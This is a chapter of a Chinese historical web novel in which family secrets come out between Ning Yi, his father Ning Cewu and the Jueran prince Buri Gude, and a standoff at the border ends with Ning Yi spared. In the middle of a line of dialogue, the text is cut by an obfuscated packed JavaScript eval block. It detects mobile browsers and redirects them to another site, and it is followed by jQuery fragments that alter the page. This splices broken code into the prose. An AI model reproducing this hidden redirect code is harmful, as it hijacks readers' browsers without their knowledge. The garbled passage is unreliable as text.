默认冷灰
24号文字
方正启体

106. 放还

作者:鸢熙本书字数:K更新时间:
    声音不大不小,正好落在所有人耳边炸开花。沈荜面上微露动容,宁弈口中的人正是甄莲将她错唤的“阿碧”——甄碧,她竟然是布日古德的生母。


    沈荜脊背一僵,贾无名,甄有姓,原来是这么一回事。


    布日古德擦去嘴角的血渍,轻笑一声道:“没想到你竟会知道这么多。”


    宁弈没有告诉他,因为他的重重可疑行迹早已经暴露出蛛丝马迹,因为他过于擅长的齐悦语,因为他不同于厥然的清逸脸庞,因为他埋在宁府一颗古树下的厥然纹饰骨灰盒......


    此时此刻,最难以接受的人当属宁策吾,原以为心爱之人离于乱世,早已丧命黄泉,没想到甄碧竟然是布日古德的母亲,几十年来他竟一无所知。


    宁策吾不敢相信自己的耳朵,心慌问道:“弈儿,你说什么?你说的都是真的?”


    男人将目光望向宁策吾,一字一句娓娓道来:“母亲当年从上都一路西行,沿途四下打探询问才得知,姨母行至望乡关时被南下劫掠边境的厥然人趁乱抢走,随后又献给迭迷作姬妾。她跋山涉水,乔装易服潜入厥然王帐,好不容易才见到失散多年的妹妹,以为就此能带她离开。可迭迷将她视作禁.脔,还逼迫她生下一男胎,重重围禁看护下,姨母是无论如何也逃不掉的。母亲的出现最终还是引起了迭迷的注意,他暗中派人刺杀母亲不成,又恼羞成怒对姨母大打出手,姨母早已经在绝望中抛弃重回故土的念头,为了不连累母亲,用自己的自由和迭迷谈条件,换母亲活着离开厥然的机会。”


    “可迭迷哪有那么容易善罢甘休,他假意放母亲离开王帐,事后又派人追杀母亲,一路紧咬不放,母亲颠沛流离、四处逃难,直至疆北......”


    “后来的事......父亲应该十分清楚,你得知母亲的下落后同样暗中追捕她,她落进你的手里受尽折磨,你连她一句解释都不听,还将人逼得神志失常......我的好父亲,枉你半生汲汲营营,抛妻弃子,视我们母子如彘狗,可曾想过,到头来,受人蒙骗蛊惑,都是替他人做嫁衣。”


    宁策吾颤抖的手垂在衣袍下,浑浊的眼角开始发酸,好半天才哽咽问出:“这些都是甄莲告诉你的?”


    “托你的福,没有你,母亲这三年恢复的还不错,时常能回忆起从前,与我说起其中一二。”


    不过大多都是甄莲短暂清醒下的喃喃自语,宁弈努力通过她的话语,拼凑出当年她不辞而别迟迟未归的真相。


    宁策吾一时心如刀绞,捶打胸口道:“那几年我只在乎什么时候能为陶府满门报仇雪恨......也以为碧儿早已经魂归离恨天......”


    “你母亲为何不告诉我她妹妹还活着?为什么?”


    宁弈厌恶这般毫无羞耻之心的质问,是他一意孤行铸成大错,又有什么资格来质问母亲的所作所为。


    而这个问题,最有资格来回答的其实是布日古德,他叹了口气,似是陷入某种沉思:“母亲临终前说,情深缘浅,孽缘深种,契阔半生却活成那样一副不人不鬼的样子,她不知道该如何面对旧人旧事,因此也不想任何人再提及,更不敢与你相认。”


    “你的父汗早就知道她的身份?你们一直都在瞒我?”


    布日古德不答,却已经是答案。


    宁策吾仰天悲恸道:“迭迷!你处心积虑将老夫变成你的工具,欺我瞒我,老夫被你耍的团团转!”


    所有人都看出,宁策吾嘴上推卸一切都是迭迷的错,可却是因他滔滔恨意蔽人眼,才让人有了可趁之机。


    “是沈筠!都是他!”宁策吾浑身战栗,叫骂道,“若非沈筠害得我家破人亡,甄碧不会被流放至望乡关,老夫不会是这个下场,你的母亲,更不会是如今这副摸样,是他害了我们所有人!”


    “他才是罪魁祸首!”宁策吾冰冷的字句一个一个往外吐,“你可还记得,当初你去疆北看到你母亲的墓碑,那就是他的手笔!为的就是让你误会是我将你母亲杀害,他处心积虑离间你我父子二人,就是为了看你我反目成仇!”


    “此人心机深沉,言而无信,死后不仅没有将罪己诏昭告天下,还要借他的女儿之手拉拢你对付老夫。宁弈!醒醒罢!你是我的亲身骨血,理应和父亲站在一起才是,怎么能帮着外人......”


    “够了!”宁弈不耐打断,“原来你还知道你是我的父亲。”


    “可你扪心自问,哪一点做得像一个好父亲?好丈夫?我与母亲的存在,对你而言不过是可有可无的累赘。”


    “弈儿......”宁策吾听着他一句句埋怨的话,心钝痛不止,想要解释却只能说出一句,“父亲是爱你的......”


    只是连爱都发现得太晚,晚到已经来不及。


    “爱,是从什么时候开始?我的父亲大人,五岁?十岁?十五还是二十?”宁弈连看都不想多看他一眼,侧目的眼眶已经模糊湿润,“那为何我弱冠之年,您从未给我取过字?为何我的名,是一个‘弈’字?”


    他口口声声中的爱,究竟是从什么时候开始的?为什么从未让人感觉得到?


    哪怕是一句温暖的问候,微不足道的关心,随口一句,都没有。


    宁策吾无言以对,默默低头。


    冠而取字,成人之道也。字一般都是由长辈赐给晚辈,宁弈弱冠之时远在西北军中,回到上都后,能为其取字的尊长屈指可数,母亲疯癫不成人样,旧日师长赵阁长辞于世,能赐字的也就剩下宁策吾一人,可他从来没想过这件事......


    听闻三年前,宁弈在上都时,还是自字“玥离”。


    四周寂静片刻,微风卷起一层黄沙迷离人的双眼,直到一声清脆的响声打破局面。


    阿十骨拍手称好:“当真是一出好戏!不枉费本王子赶来一睹为快。不过别急,既然来了,就好好留下叙旧!”


    “天宇部听令!齐悦族人,擅闯边境,意欲作乱,将这些个异族人士全部杀无赦!”


    王远之一警戒起来,命令道:“北府军!列阵!”


    阿十骨带来的人手不少,且都是部落中最为勇猛善战之士。再加上布日古德带领的烦楼部军队,两方人马加起来数量庞大,不可小觑,仅靠宁弈他们带来的一支轻骑兵,还是在厥然的地盘上,很难逃出生天。


    布日古德厉声喝止道:“住手!谁允许你在此大开杀戒?”


    “哦?大哥难道还要为一群外族之人阻止我?你将厥然安危置于何地?将厥然百姓置于何地?”


    齐厥两国打了几百年的仗,本就结怨颇深,双方人马严阵以待,谁也不肯让步。若是布日古德敢出来阻止,无异于毁掉长久以来积攒的民心,激惹民怨。


    “哥哥想要放他们走也可以,拿出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386968|179065||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亘鸣戒,弟弟可以考虑一二。”


    听到“亘鸣戒”三个字,沈荜直觉坏事,那东西从她来厥然后早就不翼而飞,不在她身上。她猜测极有可能在宁策吾或是布日古德身上。


    但其实,亘鸣戒根本不在布日古德手里,很久以前,他就将此物送给了沈荜,那时候他认定她迟早会是他的人,也再也没有想过要拿回来,更不知沈荜已经弄丢。


    阿十骨当然知道他拿不出来,不过是故意捉弄他而已。他悠悠低头,反而从怀中拿出一粒细小又耀眼的骨戒,真是亘鸣戒,因而发号施令更加底气十足:“所有厥然将士听令,见亘鸣戒如见大可汗,如有令出,无有不奉!将这群人给我统统拿下!”


    厥然首领极其士兵见了亘鸣戒颔首下拜,齐声道:“遵可汗令。”


    没有人想到亘鸣戒会在阿十骨手中,唯有宁策吾眉间一动,将目光望向身后战战兢兢的井絮,就是他当初搜寻沈荜衣物时扣下的戒指。


    “你敢背叛我?”


    井絮支支吾吾道:“主上本就不该对齐悦人心慈手软,属下只是想尽早为死去的陶相报仇。”


    宁策吾没有心力责怪他,而是绞尽脑汁思考如何能按住两方蠢蠢欲动的兵马。


    大战一触即发,间不容发间,一声苍劲的喊声叫停:“阿十骨殿下且慢!”


    宁策吾翻身立在他的马前:“殿下手下留情!求殿下饶我儿一命,他只是被齐悦人蛊惑而已,念在老夫为厥然效力的份上,殿下饶命。”


    瞧宁弈那双鄙夷的眼眸,阿十骨可不觉得他是被蛊惑,因而笑里藏刀道::“我看未必,还是都杀了才安心。”


    “殿下坑杀他们几人和一支轻骑对他们的大军并无任何损益,反而给了激发齐悦人民的怒火的机会。倘若殿下高抬贵手,暂且放了他们,以求万全之策,老夫愿为殿下鞍前马后共谋大计,为厥然开疆拓土,争霸独雄。”


    “说得好听,放了他们无异于放虎归山。你当我是三两岁的娃娃,这么好糊弄!”阿十骨嘴上如此说,可目的早就达到,假装思索后又道,“不过你说的也有几分道理……”


    他开始暴露真正的想法,假意退让道:“本王子可以不杀他们,但从今往后,你宁策吾只能归我驱策!”


    宁策吾扑通跪地,直着的脊背弯进了沙砾间,嘴里大喊:“愿为殿下肝脑涂地!”


    王远之见状举起的手放下,下令到:“速速撤退!”


    齐悦士兵接连后撤,宁弈顿在原地许久,亲眼看着宁策吾为他求情叫饶,又屈辱地埋下头颅,他平复了许久的心绪,喊道:“将人带上来。”


    赵括听言,短匕押着一个年迈男子走到宁策吾面前,他的嘴里塞满布条,模糊不清地乱叫。


    宁策吾回身惊讶喊道:“吉野!”


    是他日夜担心想要救回来的吉野。


    “只当还了今日的人情。从此你我父子二人桥归桥,路归路,再不相干。”


    宁弈说得决绝,转身向沈荜那方走去,忽然跪地吐出一口黑血,吓得沈荜急奔过去抱住他。


    “弈儿!”


    宁策吾担忧不止,想上前看看,却被宁弈喝止道:“站住!我是死是活,与你再无瓜葛?”


    沈荜扶宁弈起身,搀扶倚偎在身,她的三指搭在宁弈的寸关尺,皱着眉抬头,忧心忡忡地望向他:“你的毒根本就没解!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)